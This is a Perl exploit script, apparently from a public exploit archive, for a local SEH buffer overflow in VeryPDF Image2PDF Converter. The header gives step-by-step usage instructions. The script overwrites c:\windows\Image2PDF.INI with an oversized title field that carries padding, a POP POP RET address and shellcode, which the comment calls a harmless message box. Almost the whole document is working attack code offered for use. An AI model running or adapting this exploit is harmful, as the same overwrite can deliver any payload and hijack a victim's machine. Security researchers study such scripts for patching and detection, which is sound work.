#********************************************************************************************************************************************
# 
# Exploit Title: VeryPDF Image2PDF Converter SEH Buffer Overflow
# Date: 10-7-2015
# Software Link: http://www.verypdf.com/tif2pdf/img2pdf.exe
# Exploit Author: Robbie Corley
# Platform Tested: Windows 7 x64
# Contact: c0d3rc0rl3y@gmail.com
# Website: 
# CVE: 
# Category: Local Exploit
#
# Description:
# The title parameter contained within the c:\windows\Image2PDF.INI is vulnerable to a buffer overflow.  
# This can be exploited using SEH overwrite.
# 
# Instructions:  
# 1. Run this sploit as-is.  This will generate the new .ini file and place it in c:\windows, overwriting the existing file
# 2. Run the Image2PDF program, hit [try], file --> add files
# 3. Open any .tif file.  Here's the location of one that comes with the installation: C:\Program Files (x86)\VeryPDF Image2PDF v3.2\trial.tif
# 4. Hit 'Make PDF', type in anything for the name of the pdf-to-be, and be greeted with your executed shellcode ;)
#**********************************************************************************************************************************************

#standard messagebox shellcode.  
$shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

$padding="\x90" x 2985;
$seh=pack('V',0x6E4B3045); #STANDARD POP POP RET
$morepadding="\x90" x 1096;

open(myfile,'>c:\\windows\\Image2PDF.INI'); #generate the dummy DWF file

#.ini file header & shellcode
print myfile "[SaveMode]
m_iMakePDFMode=0
m_iSaveMode=0
m_szFilenameORPath=
m_iDestinationMode=0
m_bAscFilename=0
m_strFileNumber=0001
[BaseSettingDlg]
m_bCheckDespeckle=0
m_bCheckSkewCorrect=0
m_bCheckView=0
m_szDPI=default
m_bCheckBWImage=1
[SetPDFInfo]
m_szAuthor=
m_szSubject=
m_szTitle=".$padding."\xEB\x06\x90\x90".$seh.$shellcode.$morepadding; 

close (myfile); #close the file